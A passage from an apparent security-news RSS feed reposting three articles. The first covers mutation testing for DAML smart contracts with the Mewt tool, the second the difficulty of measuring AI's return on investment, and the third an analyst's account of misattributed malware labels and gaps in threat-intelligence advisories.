<description><![CDATA[In April we released Mewt, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DA...]]></description>
<link>https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</guid>
<pubDate>Wed, 08 Jul 2026 13:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In April we released <a href="https://blog.trailofbits.com/2026/04/01/mutation-testing-for-the-agentic-era/">Mewt</a>, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DAML’s authorization primitives), and runs them through your existing test suite to count how many mutants survive. If you want to try it, simply install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and use <code>mewt run</code>.</p>
<p>For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.</p>
<h2>Why DAML’s coverage reports lie</h2>
<p>Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least <a href="https://blog.trailofbits.com/2019/01/23/fuzzing-an-api-with-deepstate-part-2/">2019</a>, and <a href="https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/">our primer on finding the bugs your tests don’t catch</a> shows how a green suite can still miss the bug that matters.</p>
<p>DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.</p>
<h2>How mutation testing works</h2>
<p>Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.</p>
<h2>Mutation testing forces the unhappy path</h2>
<p>A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.</p>
<p>Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.</p>
<p>A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.</p>
<h2>What Mewt adds for DAML</h2>
<p>Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream <code>tree-sitter-haskell</code> grammar. DAML is Haskell-shaped, but its contract constructs (<code>template</code>, <code>choice</code>, <code>controller</code>, and <code>signatory</code>) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes <code>/=</code> where most languages write <code>!=</code>). We got most of the value of a from-scratch grammar without building one.</p>
<p>The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:</p>
<ul>
<li>
<p><strong>Controller party swap</strong> (CPS in Mewt’s output): replace one party in a <code>controller</code> clause with another party that is in scope at that site.</p>
</li>
<li>
<p><strong>Controller party removal</strong> (CPR): drop one party from a multi-party controller list.</p>
</li>
</ul>
<p>Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.</p>
<p>Driving a campaign needs no new harness. A short <code>mewt.toml</code> names the files to mutate and the test command (<code>dpm test</code> for a Daml 3 project), and <code>mewt run</code> does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.</p>
<h2>What a surviving mutant looks like</h2>
<p>Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the <code>controller</code> line on the <code>Release</code> choice.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 1: A payment that requires both the buyer and the seller to approve its release</span></figcaption>
</figure>
<p>A typical happy-path test creates the payment and has both parties approve the release. The <code>actAs buyer &lt;&gt; actAs seller</code> line submits the command with both parties’ authority:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">testHappyPath : Script ()
testHappyPath = script do
 buyer &lt;- allocateParty "Buyer"
 seller &lt;- allocateParty "Seller"
 payment &lt;- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer &lt;&gt; actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()</code></pre>
 <figcaption><span>Figure 2: The happy-path test. It passes, and coverage reports 100%.</span></figcaption>
</figure>
<p>The test passes, and by the usual measure the suite looks complete: running <code>dpm test</code> with coverage reporting enabled shows full coverage.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised</code></pre>
 <figcaption><span>Figure 3: The coverage report for the happy-path test. Every template is created and every choice is exercised, for 100% coverage.</span></figcaption>
</figure>
<p>The <code>--coverage-ignore-choice Archive</code> flag deserves a word. Every DAML template automatically gets an implicit <code>Archive</code> choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.</p>
<p>Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang=""> choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 4: The controller-removal mutant that survives the test suite</span></figcaption>
</figure>
<p>Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the <em>forbidden</em> path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the <code>paid == amount</code> check to <code>&lt;=</code> and <code>&gt;=</code>, which survive because the test only ever pays the exact amount.)</p>
<p>Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.</p>
<h2>Limitations and what comes next</h2>
<p>Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.</p>
<p>Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its <code>canton-stablecoin</code> reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.</p>
<p>One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)</code></pre>
 <figcaption><span>Figure 5: The accrueDebt helper. Its first-line guard is a shortcut that returns the same value the calculation already produces.</span></figcaption>
</figure>
<p>Mewt forced the <code>if</code> to always take the <code>else</code> branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.</p>
<p>Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our <a href="https://github.com/trailofbits/skills/tree/main/plugins/mutation-testing">mutation-testing skill</a> that helps configure campaigns for your project, and <a href="https://blog.trailofbits.com/2026/04/23/trailmark-turns-code-into-graphs/">Trailmark</a> with its <code>genotoxic</code> triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.</p>
<p>Also on the roadmap: choice-consumption mutations (<code>consuming</code> vs <code>nonconsuming</code>) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.</p>
<h2>Dive in</h2>
<p>Install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and <code>mewt run</code>. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with <code>dpm</code>, but Mewt just drives whatever test command you configure, so Daml 2 projects using the <code>daml</code> assistant work the same way.</p>
<p>Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.</p>
<p>If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. <a href="https://www.trailofbits.com/contact/">Contact us</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why is it so hard to measure the ROI of AI?]]></title>
<description><![CDATA[Danish multinational pharmaceutical Novo Nordisk is very interested in speeding up the time it takes to get drugs to market as patents expire. “If you have a blockbuster drug, a one-week delay can be $10 to $100 million,” says Stephanie Bova, the company’s digital transformation officer. “It’s ma...]]></description>
<link>https://tsecurity.de/de/3653926/it-security-nachrichten/why-is-it-so-hard-to-measure-the-roi-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653926/it-security-nachrichten/why-is-it-so-hard-to-measure-the-roi-of-ai/</guid>
<pubDate>Wed, 08 Jul 2026 12:08:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Danish multinational pharmaceutical Novo Nordisk is very interested in speeding up the time it takes to get drugs to market as patents expire. “If you have a blockbuster drug, a one-week delay can be $10 to $100 million,” says Stephanie Bova, the company’s digital transformation officer. “It’s massive money because you have less time on patent.”</p>



<p>Gen AI offered the possibility of dramatically speeding up multiple steps in the drug development process. And since Novo Nordisk was already carefully tracking how long its key processes took, it had an advantage that many companies didn’t. So it should’ve been relatively simple to sprinkle in some gen AI, see productivity improve, and watch the money roll in. But it wasn’t that easy. A drug development process has many parts, happening at different times in different departments.</p>



<p>“People are experts in their own domains but don’t necessarily know the next domain and how it all fits together,” Bova says. “The system is so big and complex that you’re not able to see all the performance at once.”</p>



<p>Process documentation might not match what people actually do in practice, and different people might do the same task in different ways. And some crucial tasks might be nearly invisible from the outside. The manufacturing team, for example, might sit in a completely different group and not be aware the drug is getting ready for FDA submission, and don’t have all their documents ready yet.</p>



<p>“So you’ve run very fast only to have to wait for them to catch up,” Bova adds.</p>



<p>This is just one of many challenges companies face when trying to measure the results of AI projects, and why surveys are so contradictory.</p>



<p>Looking at individual tasks, Novo Nordisk can show productivity improvements and clear positive benefits to its use of AI. But stepping back and looking at the company’s bottom line, the picture gets murkier. First, if critical steps are missed, then time to market won’t improve. It also takes years for a new drug to get to customers, so any positive bottom-line effects won’t be felt for a while. And that’s just the start of the <a href="https://www.cio.com/article/4159823/ai-doesnt-create-roi-organizations-do.html?utm=hybrid_search">ROI measurement problem</a>.</p>



<h2 class="wp-block-heading">Process measurement</h2>



<p>To address its process blind spots, Novo Nordisk turned to the new generation of process mining: AI-powered real-time digital twins of operations.</p>



<p>“We partnered with process intelligence company Celonis to get a digital twin of our process data,” Bova says. “We were the first in the industry to apply it to the clinical setting.” The tool collects information from enterprise systems to track what employees actually do, rather than using surveys to collect information on what a fraction of employees remembered doing at some point.</p>



<p>The first project was a simple, seven-step process, and in creating a digital twin of it, Novo Nordisk discovered that, depending on who was doing it, it could be a five- or nine-step process. “If you get 10 different subject matter experts in a room, you get all kinds of interpretations, and you have drift over time,” she says.</p>



<p>The project exposed multiple flaws in existing processes. In some cases, employees needed to be retrained. In one, the user interface had to be updated. Once a process is standardized, though, there’s an opportunity to take the before picture, so there’s something to compare to afterward, to see if the AI augmentation or automation show any results.</p>



<p>Another thing they had to figure out ahead of time was decide what to do with any time savings that showed up.</p>



<p>“You don’t want to lay people off,” Bova says. “These are highly technical, hard-to-find talent. Maybe we want to think about redistributing teams a bit.”</p>



<p>Today, the company has several hundred AI agents in active deployment, tagged inside the digital twin infrastructure so they can be identified.</p>



<p>“If something screws up, we know exactly where to fix it,” she says, adding that the next phase is multi-agent orchestration. “Today, we have them connected, but we don’t have agents of agents.”</p>



<p>It’s too early to say if there’s ROI yet because, for drug development, the process takes years. “But by looking at the end-to-end process, my hope is we’ll find two years of cycle time to engineer out,” she says. “Two years quicker to market, compared to where we are now.”</p>



<p>Drugs that are already in the final phase of development won’t see as much acceleration, but those just starting out will benefit the most. The bottom line results, however, won’t show up for several years.</p>



<p>The pharmaceutical industry isn’t the only one where true value comes from optimizing multiple interconnected processes at once. <a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html" rel="nofollow">According to PwC</a>, tactical AI projects often don’t deliver measurable value, with tangible returns coming from enterprise-scale deployments consistent with business strategy.</p>



<p>In fact, many companies have seen neither increased revenue nor decreased costs from AI in the last 12 months despite nearly universal adoption of AI. Still, enterprise spending on AI is set to nearly double by the end of the year compared to last year, according to <a href="https://kpmg.com/us/en/media/news/q1-ai-pulse2026.html" rel="nofollow">KPMG</a>.</p>



<h2 class="wp-block-heading">Productivity measurement</h2>



<p>Most companies start on a smaller scale, rolling out AI chatbots to employees to help improve productivity. And the pace of adoption here has been staggeringly high, matched only by a lack of ability to measure the productivity gains that are supposed to be achieved.</p>



<p>Having a baseline is key, says Anand Rao, professor of AI at Carnegie Mellon University, but it’s difficult to measure in some cases, and all but impossible in others. Take for example insurance decisions where results can take years to show up. With life insurance, it could be decades, he says. And for some types of decisions, companies don’t have any measurements at all.</p>



<p>“There’s a social stigma to saying that I’m trying to look at your decision-making and how well you’re making the decisions,” he says. “As humans, we don’t like to be measured for our decisions.”</p>



<p>Then, when a decision turns out well in the end, people are happy to take credit. “If the decision goes badly, it’s something outside,” he says.</p>



<p>But even for specific tasks where measurement is possible, companies often don’t put in the work to make the measurements prior to rolling out AI tools. “We didn’t start with a baseline,” says Julie Averill, former EVP and global CIO of fashion retailer Lululemon. Averill is now CEO at Gold Thread, a digital transformation consultancy.</p>



<p>“We started with the assumption that AI was going to help people make better decisions,” she says. “And that sets you up to not being able to measure well.”</p>



<p>There are alternative metrics that a company can look at instead, she adds, like usage rates or user satisfaction. “This is happening, and it’s bringing benefits,” she says, “some of which you can see, and some you can’t. You have to trust the process. It’s just like the cloud. You know it’s the way of the future and you can see the benefits, but it’s hard to get there, and there’s a lot of change required. But the sooner you do that, the sooner you’re in the new way of operating and can really take advantage of it.”</p>



<p>There are other areas where hard metrics are more readily available, like customer service. “These are repeatable tasks, and it’s usually the first place companies automate with AI,” Averill says. “There are very tangible results you can measure, and you can have a very good baseline.”</p>



<p>Lululemon has also been using AI for years for better personalization and recommendations, and that’s also an area that can be quantified. And automation can reduce manual data entry, reducing error rates. AI can also be used to help with compliance monitoring, fraud detection, and predictive maintenance for equipment, which are all use cases that can be quantified.</p>



<p>But employee productivity in general? That’s a tough one to measure, and not just for Lululemon. One obvious way might be to look at layoffs in professions exposed to AI. After all, the headlines are everywhere. But in <a href="https://www.anthropic.com/research/labor-market-impacts" rel="nofollow">a report released in March</a>, Anthropic found no signs of an increase in unemployment in highly exposed professions, those in which people are most likely to be laid off due to AI.</p>



<p>In early 2025, research firm METR attempted to quantify developer productivity by comparing how fast experienced developers were able to achieve tasks with AI and without. The result? Developers said they were expecting AI to speed them up by 24%, and estimated that AI had actually sped them up by 20%. But the data showed an altogether different story. Their use of AI actually slowed them down by 19%.</p>



<p>Of course, AI tools are getting better. METR attempted to do a follow-up study, again tracking tasks done with and without AI, but they couldn’t find enough developers willing to go back to the no-AI approach, even though the researchers were paying them to participate in the study.</p>



<p>There are anecdotal reports of companies where one engineer does the work of a hundred by using AI. Or that time the entire half-million-line Claude Code codebase was accidentally leaked and Korean developer Sigrid Jin created a clean-room rebuild in two hours, which he then pushed to GitHub, where it became the fastest project in history to hit 100,000 stars.</p>



<p>But as with anything else having to do with AI, the real picture is more complicated. With software development in particular, typing the code is actually just a fraction of what’s involved in developing software.</p>



<p>Research firm DX recently analyzed key engineering metrics from 400 companies, and in a recent report found that AI usage increased by 65% since November 2024, but AI-related productivity was just under 10%.</p>



<h2 class="wp-block-heading">Hidden costs</h2>



<p>Just as it’s difficult to measure the productivity benefits of AI, it can also be tricky to measure the costs. When a company first starts using AI, costs might be relatively simple to estimate. What’s the total monthly subscription charges for the AI chatbots that employees are using? What’s the cost of training or fine-tuning a custom model? But when you move on to more complex use cases, the calculations get more difficult, says Averill.</p>



<p>“Now there are all the systems around the AI,” she says. “Those are harder to measure, but the impact is bigger.”</p>



<p>For example, if AI is embedded into business processes using RAG, there’s the ongoing expense of the API calls, but also the changes that need to be made to other systems, she says. And it just keeps getting more complicated every day.</p>



<p>“We haven’t taken a very concerted effort to putting telemetry and instrumentation in place,” says Swaminathan Chandrasekaran, global head of AI and data labs at KPMG. He says that getting a comprehensive picture of the total costs of AI in an enterprise is like predicting the weather.</p>



<p>“The reason we have a pretty awesome weather prediction system in this country is because we have tens of thousands of weather stations that aggregate data,” he says. “Without that, we wouldn’t know the weather.”</p>



<p>Companies need to set up instrumentation to measure all the aspects of AI-related consumption, he says, starting with the number of tokens used, who’s using them, and how it correlates to work output.</p>



<p>“That measurement is fundamentally lacking,” he says.</p>



<p>At least when humans are using AI chatbots, there’s a limit to how many questions they’re physically able to ask, combined with predictable subscription costs. And when business processes are AI-enabled via RAG, the API calls to LLMs are being made by predictable, traditionally-scripted business systems.</p>



<p>But now, agentic AI is making everything worse because the agents can act unpredictably, and the number of API calls can quickly spiral out of control. In a report by the <a href="https://www.bcg.com/publications/2026/how-leaders-build-an-ai-first-cost-advantage" rel="nofollow">Boston Consulting Group</a>, two-thirds of companies are reporting uncontrollable AI scaling expenses.</p>



<p>Another cost some companies might not anticipate well, or not track because it’s part of a different budget, is data-related cost. Whether preparing data for training or fine-tuning, using RAG embeddings, or setting up direct MCP access via agents, these costs can quickly add up when AI comes into the picture.</p>



<p>“Egress fees are one of the big ones,” says Tom Coughlin, IEEE fellow and president of consulting firm Coughlin Associates. “If you have to bring data out of the cloud, those egress fees could be considerable.”</p>



<p>Then there are all the <a href="https://www.cio.com/article/4152626/organizations-often-dont-measure-the-cost-of-it-inefficiency-but-it-can-be-huge.html?utm=hybrid_search">human costs of deploying AI</a>, he adds.</p>



<p>“There’ll be a lot of value that people get out of AI in the long run, but they need to know how to use it properly,” he says. “If they don’t have those skills, you’ll be at a disadvantage.”</p>



<h2 class="wp-block-heading">Solutions and mixed messages</h2>



<p>Then there’s fixing problems. A majority of companies have had at least one AI-related incident in the last 18 months, with most resulting in financial loss, some over $500,000. Then there’s the AI that’s being embedded in everything.</p>



<p>“We know our direct costs,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a leading national law firm. “But where it becomes more difficult to measure is with platforms we already have in place, and SaaS applications that didn’t have AI capabilities,” he says. “They’re asking for extraordinary increases and attribute them to new capabilities due to AI. How much should be ascribed to AI? That’s a little wishy-washy.”</p>



<p>Even when AI saves money, there are often extra costs associated with that. For example, the firm was spending about $70,000 a year on a contract management platform. Building their own version with AI took about $40,000 in labor costs and another $3,000 a year for hosting. Ongoing maintenance will be minor for that particular application, he adds, totaling another couple of thousand a year.</p>



<p>But there are also other indirect costs that come with running your own applications, including security audits, vulnerability assessments, penetration tests, and code review.</p>



<p>“The more complex and riskier the platform, the less appetite there is for trying to create an in-house solution,” he says.</p>



<p>Still, the software development team is now dramatically more productive as a result of AI, with four or five developers able to do the work of 20 or 30.</p>



<p>But the productivity improvements don’t translate to labor savings, since there’s plenty of new work for the developers to do. “We have an enormous backlog of opportunities to develop solutions,” he says.</p>



<p>The tendency of work to expand to fill the time available isn’t just true for software development, says Carnegie Mellon’s Rao.</p>



<p>Say for example, AI is expected to lead to a 20% improvement in productivity, he says. “There were a hundred people doing it, and now we only need 80.” But at the end of the year, headcount hasn’t changed. “The tasks they were doing, there’s improvement,” he adds “But humans will add tasks to supplement or complement that 20%. It’s not that they’re going home an hour early, but they’re finding other value-generating activities.”</p>



<p>In fact, in some cases, increased productivity at a company can actually hurt the bottom line. Lawyers, for example, bill by the hour.</p>



<p>“Efficiency runs counter to our traditional ways of making money,” says Brownstein’s Johnson. “We have to think past that. It’s not detrimental to our long-term interest, but it’s a challenge in the short term. If we don’t do this, though, it’s likely we won’t be competitive in the mid- to long-term.”</p>



<p>So if a new AI tool helps an attorney with due diligence, there’s no straight line between the investment in that tool and increased revenues.</p>



<p>“It’s a given that it’s directionally right,” Johnson says. “But we can’t say it’s going to lead to a particular return.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[My threat feed told me it was ‘Chalubo.’ The binary disagreed]]></title>
<description><![CDATA[I’ve spent two years doing incident response and threat intel, and the one habit I’d keep if I had to give up every other is also the most boring. I don’t act on a piece of intelligence until I’ve checked it against the thing it claims to describe. It’s slow. It’s tedious. Almost nobody does it, ...]]></description>
<link>https://tsecurity.de/de/3653754/it-security-nachrichten/my-threat-feed-told-me-it-was-chalubo-the-binary-disagreed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653754/it-security-nachrichten/my-threat-feed-told-me-it-was-chalubo-the-binary-disagreed/</guid>
<pubDate>Wed, 08 Jul 2026 11:09:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I’ve spent two years doing incident response and threat intel, and the one habit I’d keep if I had to give up every other is also the most boring. I don’t act on a piece of intelligence until I’ve checked it against the thing it claims to describe. It’s slow. It’s tedious. Almost nobody does it, because checking costs the exact time the feed was supposed to save. So, we read the report, nod and move on. That works fine most weeks. The weeks it doesn’t are the ones I remember, and the one I keep coming back to started with a feed that sounded completely sure of itself and had it backwards.</p>



<h2 class="wp-block-heading">A cluster the feed got wrong</h2>



<p>I was mapping infrastructure behind a loader operation, sweeping a single service port through a commercial platform. It handed back a cluster of hosts; all tagged the same thing: Chalubo RAT. The tag didn’t stop me. The metadata did. Every host in the cluster carried one first-seen date, down to the day.</p>



<p>Real infrastructure never looks that clean. Operators stand hosts up a few at a time, over weeks, whenever they get to it. A whole cluster sharing one first-seen date almost always means you’re looking at the day the feed’s pipeline ingested the batch, not the day anyone actually saw those hosts live. So now I had two things I didn’t trust: The family name and the too-perfect date. Easiest way to settle it was to close the feed and go look at the malware.</p>



<p><a href="https://news.sophos.com/en-us/2018/10/22/chalubo-botnet/">Chalubo</a> is a Linux botnet. It brute-forces SSH and throws DDoS traffic. What I had in front of me was a Windows shellcode loader, a DonutLoader variant, the kind of thing that sits at the front of a ransomware intrusion. Different platform, different job. Calling one the other isn’t a near miss. It’s a category error.</p>



<p>So, I detonated it in an isolated lab, captured the traffic, mapped the C2 and pulled the config. It spoke a protocol of its own: Payload delivery on one custom channel, a steganographic beacon on a second, across a ten-host cluster, with a config format that had nothing to do with Chalubo. The reason for the bad tag turned out to be dull. The feed’s rule for that port keyed on the port plus a loose pattern, my loader tripped it and the label propagated across the whole batch with the ingest date stapled on.</p>



<p>This isn’t a knock on the vendor. Fingerprinting malware families across the entire internet is genuinely hard. The damage starts one step later, with whatever the reader does with that tag. Believe it, and you spend the week hardening against a Linux DDoS botnet while a Windows ransomware precursor sits quietly on your network. Wrong threat. Wrong priorities. The feed didn’t just come up empty. It pointed the response in the wrong direction, with total confidence and a familiar logo on it. Nothing about the tag looked wrong. The file was the only thing that said otherwise.</p>



<h2 class="wp-block-heading">The same gap, in a federal advisory</h2>



<p>For a while I filed this as a commercial-feed problem, the tax you pay for buying intel from a vendor cutting corners at scale. Then the same shape turned up in one of the best sources any of us get for free.</p>



<p>Earlier this year I spent some time inside the joint FBI and CISA <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-050a">advisory</a> on Ghost, or Cring depending on who’s naming it, a ransomware crew that’s hit organizations in seventy-plus countries. Like everyone, I opened the PDF first. Its indicator table is literally headed “MD5 File Hashes”: 14 samples, each pinned to an MD5 and nothing else. MD5’s been broken for years. It’s the whole reason detection moved to SHA-256, and an MD5-only indicator doesn’t drop cleanly into half the tooling defenders actually run.</p>



<p>Then I opened the other copy of the same advisory. It doesn’t only ship as a PDF. There’s a machine-readable STIX bundle too, the format built to feed straight into a TIP or a SIEM. Same advisory, same code, different file. Six of those fourteen samples carried SHA-256 in the STIX, with SHA-1 and fuzzy hashes next to them, none of it in the PDF table. The stronger indicators were in the official release the entire time, sitting in the file almost nobody opens. Read the PDF like most people do, and you walk away with weaker detections than whoever opened the STIX, and nothing tells you there’s a difference.</p>



<p>That same bundle cut the other way too, and this is the part worth slowing down on. Down in its relationships sat a threat-actor object naming APT41, Winnti, Wicked Panda, wired to several of the Ghost indicators. The advisory’s text never says APT41. It goes out of its way to call the attribution “variable over time.” Pull on the thread and it falls apart: No vendor has ever tied Ghost to APT41, and the object looks like automated enrichment, not a human analyst’s call. The STIX isn’t lying to you. The problem is subtler. Feed it into your TIP and you’ve quietly inherited a nation-state attribution nobody actually made. One file was missing good data. The other was carrying data nobody vetted. You only catch either by looking.</p>



<p>And it’s not a one-country quirk. A while later I reversed a Go backdoor, GAMYBEAR, the one UAC-0241 pointed at Ukrainian schools and state bodies, documented in a CERT-UA <a href="https://cert.gov.ua/article/6286219">advisory</a>. Good report. It nailed the behavior. But the actual loader gave up more than fifteen binary-level corrections to what the advisory had: A persistence mechanism attributed to the wrong component, a broken TLS implementation and a handful of indicators that only held once I checked them against the real sample instead of the writeup. That’s the kind of detail that keeps a detection alive after the operator renames the file. Commercial vendor. Federal agency. Foreign CERT. Three sources, all accurate, all carrying something other than the full truth in the copy most people read.</p>



<h2 class="wp-block-heading">What I do differently now</h2>



<p>The lesson wasn’t trust intelligence more or trust it less. It’s narrower than that. An indicator is a claim, and a claim gets checked before you stake a defense on it, most of all when it’s the advisory covering your own organization, because that’s the one whose blind spots quietly become yours. It’s cheap enough to make routine. If I were standing up a detection program next week, three things would be in from day one.</p>



<p>Treat any automated family label as a guess until something specific backs it. A row of identical first-seen dates is a fact about a pipeline, not a record of an attack. When an advisory ships in more than one format, open the machine-readable copy and don’t stop at the PDF, because the structured file tends to hold both the stronger indicators and the unvetted ones, and you want to see both. And for anything that actually matters, run a live sample through your own stack before you call it covered. The gap between an indicator and a detection that fires is exactly where attackers like to live.</p>



<p>I still reach for all three kinds of source every week, and I’ll defend every one of them. They were never the problem. The checking was always the cheap part. Assuming I could skip it was the expensive one. A report is where the work starts. Not where it stops.</p>



